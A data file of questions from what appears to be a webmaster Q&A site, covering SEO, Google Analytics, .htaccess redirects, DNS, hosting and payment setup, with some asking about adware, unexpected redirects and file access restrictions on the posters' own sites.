{"id":"16618","title":"SEO for Google Maps","text":"Can't make sense out of the way Google Maps position their results. Here is my places page, that I'm trying to optimize for the \"sprinkler hollywood florida\" keywords and appears at the end of 3rd page, and here is the 4st place for those keywords. Their listing in Google places has less information than ours, they have a bad review and we have a good one, their web site is a 1 page web site, our is about 6, our site has more backlinks than theirs. I just can't find anything they could be doing that we are not. Maybe just that they have been longer in Google Places. Could this be what makes the difference? **Edit:** I just found one other difference that might be _what_ is making the difference. Their domain name includes the word \"sprinklers\". Could it be this?"}
{"id":"55968","title":"Rewrite rule not working for redirect in subdomain hosted in a subdirectory of the main site","text":"I am running a WordPress network. This means there are multiple websites produced by one installation of WordPress. Each website is a subdomain of the parent website. WordPress handles the creation of subdomain websites through a wildcard subdomain entered into cPanel, which points `\/public_html`, which is where WordPress lives. This means there is one . _htaccess_ file serving all subdomain sites. My parent website is `www.doig.com.au`. My problem website is `tech.doig.com.au`. I need to 301 redirect `http:\/\/tech.doig.com.au\/venom-media.html` to `http:\/\/tech.doig.com.au\/portfolio\/venom-media\/`. Previously, I had the following in my _.htaccess_ file: RewriteCond %{HTTP_HOST} ^tech\\.doig\\.com\\.au$ [NC] RewriteRule . - [S=120] | RewriteRule ^venom-media.html http:\/\/tech.doig.com.au\/venom-media\/ [R=301] | RewriteRule ^services.html\/feed http:\/\/tech.doig.com.au\/services\/feed [L,R=301] However, this no longer works. This is my _.htaccess_ file. Why is the `RewriteRule` not working?"}
{"id":"42479","title":"How can I stop adware affecting my site?","text":"We have just started running our own ads on our site but are now getting bombarded with complaints from users that \"Russian Bride\" ads are showing up **below** our ads. We know this is caused by AdWare like the Ask tool bar etc. My question is, does any one know how to stop the AdWare from affecting our site?"}
{"id":"21084","title":"How hard is to be the anonymous owner of a website?","text":"I'd like to create a website with a very radical political message. It won't be unethical (encouraging violence, etc) but I feel the points I plan to list in it will definitely make me a lot of enemies. How hard would it be to protect my identity from anyone finding out who I am? I know domains always have a $10\/year option for privatizing your registration information but is there any other protection I should think about having?"}
{"id":"22595","title":"Is there a Lightbox style plugin that fits images to screen size?","text":"I'm looking for a Lightbox type js plugin that would take into account the browser window size and resize the currently displayed photo so it fits - like the jquery-imagefit plugin does."}
{"id":"12763","title":"Can I use ClamAV on GoDaddy shared hosting?","text":"My Linux shared hosting (godaddy) doesn't have ClamAV installed. Unfortunately, I'm not a Linux expert; so I don't know exactly what is involved in installing an application on a Linux. So, my question is: 1. Can I install ClamAV on my shared hosting? 2. If I can't install it, is it possible to still use it somehow? Thanks, James"}
{"id":"22599","title":"Upload multiple images via website","text":"I have a requirement to allow the users to upload multiple images at once, like the way you upload photos to a photo printing website. I am looking for suggestions as to what technology and which libraries that can be used to do this. I'm guessing Flash and JavaScript."}
{"id":"64720","title":"In SEO & SEM terms, use of a international domain vs a local domain","text":"In terms of SEO & SEM if I have a .com and a .co.uk. Would it be better to use the .com and park the .co.uk, If I am selling the product locally (in the uk) and later moving out into the international market? Will I struggle more to compete locally with regards to local searches and Google Adwords, if I make the .com as the primary domain? Does the parking of the .co.uk or the .com effect the relevance of a web domains search locally and internationally?"}
{"id":"64727","title":"Website Redirects","text":"I've been having a bit of an issue today. I run Gematsu.com. At first I thought the site has been going slow all day due to the amount of hits we've been getting the past couple days. But then I realized we'd received even less today, so something wasn't adding up. I ran a check on a website testing site.Turns out I have a bunch of redirects from URLs that I've never heard of. I don't know if they're what's slowing the site down, but I can tell you the site wasn't taking a minute to load yesterday. I tried removing my advertising to see if it was anything on their end, but I still got largely the same results."}
{"id":"64724","title":"Permissions suddenly changed to '00' on sites images directory","text":"A client's site images directory permissions have suddenly changed to `00`. This means no one can access the directories content; not even the browsers. I cannot access the directory or change its permissions via FTP. What could have caused this? Is there a way to reset the permissions?"}
{"id":"66880","title":"Highlighting Data for an Architecture Firm","text":"I'm doing some design work for an architecture firm here in town over the next few weeks. They had a very lacking website previously and want something newer and easier to use. In the process they asked if I could go in an do some basic stuff to optimize for Search Engines. They are a pretty well respected firm locally so they already have pretty good page rank locally but like anyone else they want to be as high as possible and be as relevant as possible to what different people are searching. Outside of doing other things to help Google better crawl and under stand the data on the pages I decided to go into their data high lighter and tag various information. For the most part it is all rather straight forward and easy to understand for me as someone who has limited experience with this. What I don't really know what to do is what category should I put their portfolio page under? At first I started out as local businesses because they are a local business and have photos of local businesses with information for the name of the business and space they designed. They have them then separated out into categories for all the different type of work they do. I tagged the categories and their company information as well and it kept giving me a warning saying Google can't quite figure out the category structure. Would it be better to tag the portfolio items as products even knowing they aren't for sale. They are just space design and building shots of what they've designed. In a sense I guess they could also be articles maybe. Even knowing they aren't really articles they are just a portfolio of pictures with a minor amount of text descriptions at the bottom. So what I'm generally asking here to not be so long winded is what is the best way to highlight data in a mostly image portfolio in Google Web Master tools. Specifically what category should I sort the high lighted data into?"}
{"id":"10941","title":"Single billing cylce for paypal subscription?","text":"The subscriptions method only allows at least 2 billing cycles. What's the best alternative method I should use?"}
{"id":"53962","title":"Should keywords exact match keywords on a page be <h2> or <h3> tags?","text":"On a search results page, the `<h1>` contains the searched keyword. However, should wherever the keyword appears in the results be `<h2>` or `<h3>` tags? I have had these as `<h3>` tags and there is no `<h2>` on the page. **-- UPDATE --** For example: `keyword = cat breeds` <h1>Cat Breeds<\/h1> `There are a number of different <h3>cat breeds<\/h3> to choose from. The most common of the list of <h3>cat breeds<\/h3> below is the calico cat...`"}
{"id":"57522","title":"Can changing nameservers while keeping the same host impact SEO for websites?","text":"I host several Italian sites in a Virtual Private Server (VPS) located in Italy. At the moment, most of the domains are registered by the same provider, so all the nameservers are located in Italy too. I want to switch to a new ISP, whose nameservers are located in the UK, USA and Canada, for domain registration, while keeping the same VPS hosting. Could the DNS change have an impact on those websites' SEO? Keep in mind that the actual host (the `A` record in DNS) will remain the same."}
{"id":"16478","title":"What is the difference between <span> and <div> tags?","text":"I am curious, the span tag seems to work the same as a div."}
{"id":"57441","title":"Why do people (or bots) spam a site with comments when its obvious that they end up being blocked?","text":"Whenever I visit the Admin page of my WordPress site, I always find about 1000 new spam messages waiting there for me. The question is what is the motivation for people (or bots) to spam a site with comments when its obvious that anti-spam WordPress plugins are bound to catch them and filter them out?"}
{"id":"55937","title":"Do sites using YouTube video API get indexed by Google?","text":"Suppose I design a small app that heavily depends on Google YouTube API to dynamically fetch hundreds of YouTube video data. My site will be able to respond to users' requests, and generate several video pages. But what I don't get is this: does it means there's no hope of getting found (or indexed) for those videos on search engines since none of those videos actually resides on my server? Since I'll have very limited pages, what options do I have for SEO?"}
{"id":"21160","title":"This transaction cannot be processed due to an invalid merchant configuration","text":"I have installed opencart and now looking to enable paypal pro services for UK, i am newby to paypal, do i need to register for payflow services on https:\/\/manager.paypal.com ? if not then what information should i place so that i can get out of the following error: This transaction cannot be processed due to an invalid merchant configuration."}
{"id":"33966","title":"Can I provide free subdomain service of TLD .pro ?","text":"Can I provide free subdomain (second level) for free like `.co.cc` do? I'm trying to register a `.pro` domain individually."}
{"id":"21165","title":"Is Googlebot case sensitive? Should I use a 301 redirect to choose a preferred URL case?","text":"The Googlebot reports the following: Pages with duplicate meta descriptions 1. `\/Default.aspx?p=2` 2. `\/default.aspx?p=2` Should I use a 301 redirect from `Default` to `default` or vice versa? Is Googlebot case sensitive?"}
{"id":"5176","title":"Does text in the title attribute of links count as page content?","text":"I've been told it is bad practice to have keywords in the meta tags that do not appear in the page content. In this context, does text in the title attribute count as content? For example if I had: <meta name=\"keywords\" content=\"apples\"> And the word \"apples\" does not appear anywhere on the page, but I also had: <a href=\"\/products\/\" title=\"Purchase apples and oranges\">Fruit<\/a> Would this be considered bad?"}
{"id":"50066","title":"Is using keywords without comma in title tag wrong in a SEO point of view?","text":"On the `<title>` tag of one of my webpages I used keywords without comma. Is thist wrong in a SEO point of view?"}
{"id":"58586","title":".pw domain name risks","text":"I am considering using a set of `.pw` domain names to provide CNAME access to content stored on a CDN. I have come across recent articles about how the `.pw` domain has become associated with spam. Given that I will not be using the domain to deliver mail should I care? Put it another way, - suppose I deliver an HTML page that contains: <img src='http:\/\/example.pw\/images\/myimg.png'\/> or <script src='http:\/\/example.pw\/js\/myjs.js'><\/script> Need I be concerned that a browser may automatically block download of that resource - or a firewall may do so?"}
{"id":"18953","title":"Is there a way to add Google Docs-like comments to any web page?","text":"You know the comments on Google Docs word processing documents? And how it creates a little discussion over in the right-hand margin? I love it. Great for collaboration. I want to free it from Google Docs so I can use it with clients to discuss mock-ups or scaffolded websites. Searching Google for \"add comments [or discussions] to any website\" only gets you results for adding blog-like comments (Disqus, JS-Kit, etc.) Anyone know of a solution for what I'm after here?"}
{"id":"61043","title":"Transfer .cn domain to another registrar","text":"I have to transfer domains hosted by a deficient local ISP in China. Can I transfer my domain registration without my current ISP's cooperation?"}
{"id":"51048","title":"Is it possible to have Google index one page with one URL and have it link to another URL?","text":"We want to tell Google to crawl a content heavy page but list a link to a much more performant JavaScript version of the page. Is this possible? I.e. Give Google a sitemap, then put canonical tags to the JavaScript version of that page."}
{"id":"2249","title":"Multilingual Publishing Pack (MLP): make a link to the corresponding page in the another language?","text":"I am helping to build a bilingual website using MLP on TextPattern. It's trivial to put a link to the top level page of another language, but how to put a link to the current page in another language? Eg. `\/en\/contact` should link to `\/de\/kontakt` (the same article in another language). I'm sure there are some variables somewhere that I could put into the template that would be filled with the correct links."}
{"id":"43073","title":"Setting up a coming soon page. Should I create a whole database for \"Sign up now for updates\" email addresses?","text":"I'm helping a friend set up a \"Coming Soon\" page for his website. Naturally, he wants people to enter their email addresses so they can get updates about the status of the website. I know I can set up a database for him but he's not very tech savy and won't want to learn how to check that database. So one solution I'm thinking of doing is setting up a webpage at friendsurl.com\/pEbRuw3A (or some other random string so that bots can't easily find the page) and having the emails there in a csv format. That way he can continuously check it for updates. So, is this a stupid idea?"}
{"id":"43078","title":"Google Analytics: Track user from opening email to following link to finishing form","text":"We track the opening of our marketing emails by using the `utm.gif` image which works well. But, we would like to see how many users go from opening the email, to clicking a link within the email and then complete a registration form. Is it possible to track this sort of user flow and know how many users followed this path from the email?"}
{"id":"26176","title":"Building links towards Category Pages?","text":"I am current building some links and I want to get the best results out of it. I have had links towards my homepage, as well as detail page but not many are towards my category page. I assume having links towards category pages are one way to enhance the recognition of website by Google (showing category pages are useful to people as well). Is this as useful as in link juice wise? Or does this even sounds natural to you? What is the best link building practice? (will there be a golden proportion for how many percentage of links should be towards home page, how many to detailed and how many to category for example?)"}
{"id":"42296","title":"How can I publish a container in Google Tag Manager?","text":"There is some icons just after container name in Google Tag Manager, see image. but neither are clickable. As it has very simple interface, I doubt they just forget make them clickable. So my question is how can I published container? "}
{"id":"21345","title":"Redirect\/rewrite dynamic URL to sub-domain and create DNS for subdomain","text":"I have created an application in PHP, I would like to re-direct the following URL to corresponding sub-domain. Dynamic URL pattern: http:\/\/mydomain.com\/mypage.php?user_name=testuser I wish to re-direct this to the corresponding sub domain: http:\/\/testuser.mydomain.com\/ 1. How do I create a rewrite rule for this purpose? 2. How do I register DNS for sub-domain **without** using CPANEL? (I want to activate sub-domain when the user registers to the system.)"}
{"id":"24192","title":"A page for each product variation or one page with multiple options?","text":"The website that I work on sells a car related products. Many products will fit 20-100 cars. Currently each car is listed as a separate 'product'. This works very well on eBay, but I think the large number of similar pages is having a negative effect on the sites ranking. It seems to rank ok for very specific queries like 'BMW 5 series thule roof rack', but not well for 'Roof rack' - Which I guess makes sense. So a page for each car or a page for each real product?"}
{"id":"21341","title":"550 “Overwrite permission denied” when editing a file via FTP","text":"DreamHost recently moved my accounts to a new shared box, and now I can't edit files via UltraEdit's built in FTP client, which messes up my work flow! What did they do that this is not working now? It stopped working after they moved me. Here's the output from the FTP console in UltraEdit 10\/26\/2011 10:42:36 AM: 220 DreamHost FTP Server 10\/26\/2011 10:42:36 AM: USER nodebunny 10\/26\/2011 10:42:36 AM: 331 Password required for ninjawww 10\/26\/2011 10:42:36 AM: PASS xxxxxxxx 10\/26\/2011 10:42:36 AM: 230 User nodebunny logged in 10\/26\/2011 10:42:36 AM: FEAT 10\/26\/2011 10:42:36 AM: 211-Features: LANG ja-JP.UTF-8;ja-JP;zh-TW;fr-FR;zh-CN;en-US*;bg-BG;ko-KR.UTF-8;ko-KR MDTM MFMT TVFS UTF8 MFF modify;UNIX.group;UNIX.mode; MLST modify*;perm*;size*;type*;unique*;UNIX.group*;UNIX.mode*;UNIX.owner*; REST STREAM SIZE 211 End 10\/26\/2011 10:42:36 AM: OPTS UTF8 ON 10\/26\/2011 10:42:36 AM: 200 UTF8 set to on 10\/26\/2011 10:42:36 AM: PWD 10\/26\/2011 10:42:36 AM: 257 \"\/\" is the current directory 10\/26\/2011 10:42:36 AM: PWD 10\/26\/2011 10:42:36 AM: 257 \"\/\" is the current directory 10\/26\/2011 10:42:36 AM: CWD \/dev\/proj\/nodebunny 10\/26\/2011 10:42:36 AM: 250 CWD command successful 10\/26\/2011 10:42:36 AM: PWD 10\/26\/2011 10:42:36 AM: 257 \"\/dev\/proj\/nodebunny\/lib\/Buffer\" is the current directory 10\/26\/2011 10:42:36 AM: PWD 10\/26\/2011 10:42:37 AM: 257 \"\/dev\/proj\/nodebunny\/lib\/Buffer\" is the current directory 10\/26\/2011 10:42:37 AM: TYPE I 10\/26\/2011 10:42:37 AM: 200 Type set to I 10\/26\/2011 10:42:37 AM: PORT 10,15,55,125,226,16 10\/26\/2011 10:42:37 AM: 200 PORT command successful 10\/26\/2011 10:42:37 AM: STOR Buffer.pm 10\/26\/2011 10:42:37 AM: 550 Buffer.pm: Overwrite permission denied"}
{"id":"49746","title":"Wordpress - Too much information about SEO tags - archives - posts. Which is best?","text":"**Point 1:** I have a front page which is dynamic because it gets all the latest posts that are rated. The question is: do I have to make these posts an `excerpt`, because that's better for SEO? **Point 2:** I have two pages where I have links on the left and right sides (widgets) that are pointing to posts. In the middle of the page, I have one post that has the content shown with his own comments and _tags_ beneath the post itself. The question: do I have to set a `nofollow` on these tags? And what about the links? If I click on a post link, it will bring me to a `single.php`, which has actually the same lay-out and elements as the pages I described at point 2. Will this be seen as duplicate content? **Point 3:** I have an alphabetic list of all my posts which are linking to the single page. Is this seen as duplicate content? Do I have to set a `nofollow` on the links? **Point 4:** I have author pages which have the last commented and posted posts and reactions of a person... Is this seen as duplicate content and do I have to add a `nofollow` link? There is so much information that I don't know which one is best or how to look at it. I would really appreciate it if someone can help me out with it. PS: if I generate a `XML Sitemap`, which of all has the highest `priority`?"}
{"id":"42299","title":"How to separate data from subdomains in Google Analytics?","text":"I want to split my data from different subdomains in Google Analytics. I know it's possible to do it using different profiles + filters, but when you have a ton of subdomains, it's almost impossible to maintain that setup. Is there another way? Currently I'm using this solution http:\/\/www.ericmobley.net\/guide-to-tracking- multiple-subdomains-in-google-analytics\/"}
{"id":"22923","title":"utility to pull in the entries of an rss feed with a certain date range","text":"I'd like to include a section on my daily blog post that could capture\/aggregate my activity from twitter, github, etc on that day. Ideally this information could be displayed in a visually unobtrusive manner at the bottom of the regular blog post. I can add this information through an rss reader display (e.g. I'm running a wordpress site, and can use embed-rss plugin to display the latest information from a twitter or github rss), but this does not let me limit the date range to activity from that day; instead always showing the latest activity. So, questions: 1. Is there a simple way to embed rss feed filtered to a certain date range on a post? 2. Does the RSS feed provide a stable list of all the history, or will I need to create static snapshots of this instead? 3. Can be done through the twitter and github APIs if not through a simple rss feed? Is there any app that already does this? 4. Other suggestions to approach this kind of thing? For instance, I can do something similar for my flickr activity using the flickr-gallery plugin's search feature, which gives me a scrollable set of thumbnails of photos matching certain search criteria in which I can set a date range to match that day."}
{"id":"3404","title":"Google webmaster tool is not updating my site related information","text":"I am very thanks ful to google webbmaster since it suggested me many of the pages which were causing 404. But i am surprised why were this information still being shown even after one week of repairing the page links."}
{"id":"3407","title":"Creating a mobile website","text":"I'm going to create a mobile version of a website. This is the first time I'll be creating a mobile specific website. What do I need to know? What do I need to be aware off? Good tips and resources requested! -- Sri"}
{"id":"3406","title":"Optimizing with filtered results?","text":"I'm finishing up development on a tourist information website that lists hotels, restaurants, bars, among other things for an up-and-coming tourist area in Cambodia: http:\/\/www.gosihanoukville.com\/dining\/index.html Sections of the site that have listings are listed in a default order, and the visitor can choose to sort these listings on demand. There is also a section on the left of these pages that allow \"filtering\" of the results on the page. For a better example, on the restaurant page, there are filters for type of cuisine, location and budget. The cuisine filters at the top are the only ones that I want indexed - in case people search for \"indian food in sihanoukville\". The location and budget filters are just there for convenience, and could have been displayed with AJAX, but I wanted people to be able to bookmark them. What I've done is set the meta robots tags on the pages I don't want indexed as \"noindex, follow\", and \"index, follow\" on all other pages. I have, however seen people use rel=\"nofollow\" in their anchor tags. Which is the better practice? Or is it better to have them indexed anyway despite having duplicate content? Thanks."}
{"id":"32811","title":"Backing up VPS and Database Servers for website","text":"I currently have an \"un-managed\" (no help from hosting company) windows vps server. I am working on a good backup solution to return my site back online within a few hours. I am pretty comfortable backing up and restoring my database, however what is a good solution for backing up my VPS for easy recovery? Should I just use windows backup and create an image? I'm open to suggestions. Additionally, has anyone had to restore an entire VPS before? Is it reasonable to have it back up and running in a few hours?"}
{"id":"60595","title":"Why does .htaccess not prevent a php script from accessing a file","text":"I ran into the following issue: On a website I want to prevent \"unauthorized\" access to a set of .xml files - the user has to authenticate first. Now it would be possible for an authenticated user to type the URL of the file I don't want them to see. To prevent this, I created a simple php script that checks user authentication, then serves up the XML (with appropriate `Content-type` header). At the same time, I put the following in the `.htaccess` file in the directory with `.xml` (and other) files: <Files ~ \"(.xml)\"> Order allow,deny Deny from all Allow from xx.yy.zz.tt (IP address of server) <\/Files> This did the trick - `.xml` files were not longer \"directly accessible\", even for an \"authenticated\" user. But here is the thing I don't understand: > If I leave out the `'Allow from'` line, the php script still manages to > access the `.xml` files. It seems that the `.htaccess` is completely ignored > when it comes to php. So my question is two fold: 1. Is this expected behavior? 2. If so, then what method would one use to prevent a php script from accessing a particular file (or group of files)? There is clearly a fundamental issue around `.htaccess` that I completely failed to grasp. Thanks for your insights."}
{"id":"39161","title":"What are the best practices for Nationalized SEO?","text":"I am working on Internet marketing for one of the Website designing & development company in India which is located in Mumbai. So the website is performing quite well in local search places or up to state level in SERPs. But not with all major locations in my country, so my question is what are the best ways I have to stay on top of the SERPs."}
{"id":"4873","title":"Which service to choose when accepting online credit card payments on behalf of \"partners\"?","text":"I am about to start a new business that will have the following structure: 1) I want to accept payments from my customers (let's call them partners) for services that I will provide to them; one of this service will be accepting payments by their customers on their behalf 2) Accepting payments on partner's behalf from their customers and sending this payment directly to the partner (after subtracting a small fee) Additionally, I want to have the option to send out email invoices as well as have a form on my website that collects credit card\/billing data and sends it to a third party server for payment processing. I was wondering what type of service I should use for this type of business, as I couldn't find anything on this topic during my research. I saw services such as PayPal Website Payments Pro and Braintree Payment Solutions, but I am not sure if any of those would fit my needs. I certainly want to limit my exposure to chargebacks in cases where partner's customer will dispute the charges and at the same time, I want to be able to send partners their money promptly. Any help is greatly appreciated!"}
{"id":"38410","title":"best practice for last-modified and created dates","text":"I have a website with a handful (currently 3; I anticipate about a dozen when it's complete) of static html pages. I'd like to include \"created\" and \"last- modified\" dates in the pages for the benefit of visitors who arrive a week or a month or a few years from now. I expect anyone who cares to be viewing the source, so I could do: <!-- created yyyy-mm-dd, last-modified yyyy-mm-dd --> but I'd like to use something more standard (and elegant). I've found one reference to last modified (but only a mention in the text, not an actual code reference, so I'm not positive how to properly implement it) but not _created_. Is there a **proper** way to display both (or at least one) of these dates?"}
{"id":"38009","title":"Google Goals process not working through similarly named pages","text":"Well, I'm at a loss. I've ensured that my tracking script is in etc etc, and I've set up my goal and funnel path, but only the first step is ever being shown on the funnel. Goal URL: `\/checkout\/checkoutComplete\/` Type: **Head Match** ... but should this be `\/checkout\/checkoutComplete\/(.*)` and set to regex rather because there are parameters after the main part of the URL (I thought that's what head match was for) Step 1: `\/checkout\/` <-- required Step 2: `\/checkout\/confirm\/` both the above are valid and correct URLs for my domain. But for some reason, the funnel visualization shows entries into the first step, then an exits count that matches the entry count, including `\/checkout\/confirm` - but it doesn't go on to the next step! Perhaps I'm doing something obviously wrong...but I can't quite see it? Also, semi-related questions. Making a change to the funnel, does it only affect new incoming data? And how often does it update? Thanks in advance for your help."}
{"id":"4878","title":"Need a CSS framework that has variables and \"mixins\"","text":"I was using Less CSS but it creates too much duplication. Each HTML page I have includes 3 different stylesheets; two are common to all the pages (IE- support and 960 grid system) and the third stylesheet is a custom one made for that page. With Less CSS it was duplicating all the CSS code from the 960 grid system into the third stylesheet. All I need are variables and functions\/mixins\/classes...basically a way to put duplicate CSS code in multiple spots."}
{"id":"56927","title":"Best practice for scroll-up web page","text":"As was pointed out in a question asked earlier, Google will not recognize when the DOM is altered via JavaScript after initial page load to start at the bottom and scroll up rather than down. Parallax landing pages and the affect on SEO Is there an alternative better way that can be considered for achieving the same affect and maintaining the most optimized and correct search results and SEO score?"}
{"id":"32816","title":"how to handle foreign content on a blog (double content)","text":"I'm quitely new to SEO and I don't know how to handle foreign content on a blog. I am writing content for two different blogs. The subjects of these blogs intersect partially, so there are sometimes situations in which I like to post exactly the same entry on both blogs. On the other hand I often see blogposts with a note like \"this post was first published on www.xyz.com\". I thought to avoid the problem with double content I could use a canonical link in both cases. But all I read about using it cross-domain supposes to still have the same website. So what is the best practice to handle this, by avoiding 1. that the original site doesn't benefit from being the first-posted and 2. that the second site has disadvantages because of containing double content ? **edit:** I assume the fact that google tries to serve different contents for given keywords. Sites which doesn't seem to be the original one of multiple found content are ranked down, based on the presumption the content was stolen or something else (this correct?). How to prevent this behaviour if content is legally doubled? Would the canonical-link be the right way or isn't there any, bercause it'd be against googles aims?"}
{"id":"38006","title":"How does Windows 8 appear on Google Analytics?","text":"I'm trying to figure out how many Windows 8 users are using my website. On Google Analytics, I don't explicitly see the number 8 anywhere in the top 10 Windows operating system versions. I don't believe that Windows 8 percentage is so low that it doesn't even show up. It must be miscategorized under another name. Which one is it? "}
{"id":"10614","title":"Compared to Firefox 4 and Google Chrome 10, what can't IE9 do?","text":"If a website works in Firefox 4 and in Google Chrome 10, what could potentially cause that website _not to work_ (broken layout or broken JavaScript) in IE9? What limitations and differences does IE9 have, aside from vendor-specific stylesheet rules? _Yes, that is a painfully vague question_ — that's because I am not asking this question from the perspective of someone with a specific problem! I'm asking this question from the perspective of someone with a working website who does not have access to IE9. **Edit** I `+1`ed everyone. Thanks for the great answers!"}
{"id":"10617","title":"How can I easily create web 2.0 buttons?","text":"Is there a website or software I can use to easily make web 2.0 buttons? I really like this: https:\/\/github.com\/imathis\/fancy-buttons, but it's only for Ruby. Every time I design a new website, I need to go into Fireworks and tediously create the buttons by hand. Surely someone out there must have come up with an easy way of making new web buttons."}
{"id":"7607","title":"Live Website Monitoring Tool","text":"> **Possible Duplicate:** > Live view of online visitors What is a good tool to monitor a website's traffic live? Is there something that shows a feed of people who is currently on your website?"}
{"id":"2797","title":"CMS for a review site","text":"> **Possible Duplicate:** > Best CMS for review-type sites Hi, what's the better CMS\/theme for a review site? It will be a site about movie reviews from editors, and visitors should comment the review. I'm looking for something simple to implement."}
{"id":"2066","title":"Any good SEO tracking apps out there?","text":"I was wondering if anyone knew of any noteworthy SEO tracking web apps (either free or paid). I.e. i want to be able to track page rankings, rankings against keywords, trends over time etc. I've seen a couple, but most seem pretty amateur. I was hoping that there might be a gem out there somewhere? PS. I am aware of the google tools (webmaster and analytics). What I am interested in, is a web solution that will help me pro-actively keep on top of my sites SEO strategy, as well as pro actively alert me to opportunities to increase \/ enhance exposure."}
{"id":"13495","title":"I've built a new website using html5, should I have built in flash instead?","text":"I am web developer. For a new project of mine I decided to built a very complex website using html 5. Having now looked at the final product I am not sure, should I have just used plain old flash instead? If there are any flash experts here, I'd love to hear your opinion."}
{"id":"33490","title":"Help with 301 redirect from subdomain to root domain","text":"I need to forward existing subdomain links to the root domain as the subdomain no longer exists. I have tried so many different lines of code in my .htaccess file and can not get the redirect to work. The links to the subdomain look like: `http:\/\/sub.mydomain.com\/dir\/y99bb4` Can anyone suggest any code for me?"}
{"id":"14113","title":"Allow user to share on Facebook anonymously: options?","text":"I want to allow users to share memes anonymously with their friends. I am trying to figure out how this can be done through Facebook: are there any Facebook APIs which will allow users to share through a different profile, or anonymously altogether? e.g. I create a 'anonymous' profile, the user simply inputs their meme and selects all the friends they want to share with, and all that the friends will see is that a message has been sent by 'anonymous'. Is this possible? Alternative solutions?"}
{"id":"33493","title":"Any ideas why Google not caching my site?","text":"The site is www.books-for-children.com, developed in Wordpress CMS. It was launched about two months ago and still has not been cached by Google, which seems highly unusual. Any ideas where I might look for answers?"}
{"id":"14116","title":"Domain transfers - handling the downtime","text":"This is something that has arisen several times and we don't quite know how to handle it, all suggestions are welcome! We have a few different domains with other companies that we want to transfer to us. The problem is that these domains have successful websites and email working with several employees, which in turn is used heavily. We want full control of the domains and everything with it, so there's no chance of pointing a\/mx records. We want to cut any other companies out of the loop completely. How can we transfer the domains to our isp, keeping downtime to a minimum. Can someone walk me through the process please? What's the best practice?"}
{"id":"18474","title":"Magento Default Sitemap.xml","text":"Is the default magento sitemap.xml optimized as is for ecommerce products? I'm thinking about adding image links as well. Is it worth time investing in this for SEO gains? <url> <loc> http:\/\/demo.com\/product.html <\/loc> <lastmod>2011-08-03<\/lastmod> <changefreq>always<\/changefreq> <priority>1.0<\/priority> <\/url>"}
{"id":"18477","title":"Platform to allow users to suggest and vote for ideas","text":"I head up a support team for a software product. I am in the process of setting up a blog (Wordpress.org), a forum (PHPBB or maybe Vanilla), a means to view bugs (probably expose Jira), but would also like to allow our customers to suggest enhancement requests. Currently we have this as a 'contact form' via the blog, which feeds into a dedicated inbox, which the product manager reviews and may include some of these ideas into the product. However, I would like to give the clients more power\/visibility over this. Have a look at ideas.arcgis.com. There are plenty of other similar sites as well. * Users can suggest new ideas * Other users can vote these ideas up or down (similar to Stack Exchange sites) * Ideas that are voted highly will be given a higher priority over lower ones. * We can report back on the # of ideas we implement, and potentially reject ideas with reasoning. **Has anyone seen any platforms (ideally free) which would replicate something similar to this?** I was half thinking of embedding Vanilla within a wordpress page, but need to look into it more."}
{"id":"18473","title":"Is Google Page Speed Service a competitor for CDN services","text":"I've been googling around for a cheap CDN service and came across: http:\/\/code.google.com\/speed\/pss\/index.html This seems to be a competitor to other CDN services, is this the case? Thanks"}
{"id":"18472","title":"html5 tags for SEO","text":"I've a question for you. Are now the new HTML5 tags, like <header>,<footer>,<hgroup>,<nav>,... ... really usefoul for SEO? Is google and other search engines considering this tags in the SERP?"}
{"id":"17706","title":"Mailing List software\/app recommendation","text":"I'm looking for a simple, preferably free app for managing mailing lists. I'd like to be able to create groups (Users, Employees specifically). It should be able to produce good looking HTML emails. I'm on an PHP\/MySQL server, so anything that's online\/easy to configure with that would be great. However, I'd be willing to consider an option which is hosted elsewhere if it was affordable. Please only answer if you've used the software before and can truly recommend it. The two I've been considering thus far are PHPList and Newsberry."}
{"id":"61346","title":"Getting access to website files without access to the hosting account","text":"I have been asked if I can rectify a `403` error on `www.kirrawe.com.au`. The site was developed and hosted by another web developer who can no longer be contacted. I have been in contact with the hosting company (DreamHost), but due to security issues, they can only forward my requests to the account holder (the developer), but can't compel them to reply. In this situation, is there any way to get access to the website files or will my client need to have a new site built?"}
{"id":"20699","title":"How do Github Pages fare for serving static files?","text":"I have a site that is composed only of static files. I just discovered how easy it is to host websites directly off Github. Any idea how do they fare in terms of latency, reliability, capacity...? In general - for static content only at the moment - are they \"production grade\"? How do they compare to say Amazon S3 in terms of pure latency and uptime?"}
{"id":"13145","title":"How to edit name servers","text":"I purchased a domain name for my website but the files are hosted some other place. The domain registration website show four name servers addresses. What are these. Can I forward my domain to a specific url by modifying these name servers."}
{"id":"67372","title":"Expunge deleted version of uploaded file","text":"I'm a bureaucrat on Wiki site. The site has a number of deleted files, and I'd like to expunge them. For example, there are 27 files in the history of one particular file:  There's no need for the extensive history; there's no need for the additional storage overhead; and there's no need to allow someone to revert to an old version of the file. I think I found a wiki article covering the subject at Wikipedia:Files for deletion, but it sounds like (to me) that `{{ffd|log=2014 July 23}}` will delete the current file and past files. And its not clear to me if `ffd` expenges the old files. How does one expunge the deleted files while leaving the current file in tact?"}
{"id":"65440","title":"Home Domain router question","text":"I'm hosting my own website and email server at home on my own network. I have ports fowarded and working for the most part. I'm currently using namecheap.com dns servers and foward requests to my IP. I do have dynamic IP from ISP but it only updates when I switch mac addresses on my modem but I sill have IP updater just in case it changes. I'm running my own router - Sophos Home UTM. I conceptually a little confused on my situation. Should the router use the domain of my website and email for example its example.com. This gives every computer localhost.example.com. Or should I leave it with default or nothing? Is this important having my router host name include FQDN so router.example.com? I want to add more servers(vm servers for other things) and be able to use subdomains to call on them from outside of my network. For example I have ports 80,443,25, and 143 to one server. I want to add another server for other stuff. I want to redirect it by subdomin and not have to use NAT foward something weird like this, example.com:9999. Any suggestions? If this isn't a site for this questions let me know where to go thanks for any help."}
{"id":"13148","title":"Wampserver VS XAMPP?","text":"I would like to hear your thoughts on which would be better for beginners and easier to use and maintain in the long run. I'm going to build a website in MODx but I haven't started so I thought I would ask about this first."}
{"id":"55927","title":"What are the differences between creating a remarketing list in Analytics versus a remarketing list in Adwords?","text":"Both Google Analytics and Google Adwords seem to have the capability of creating remarketing lists. If you opt for the Analytics option, you can then share that list with (only) Adwords. So are there any significant differences in functionality between the two options?"}
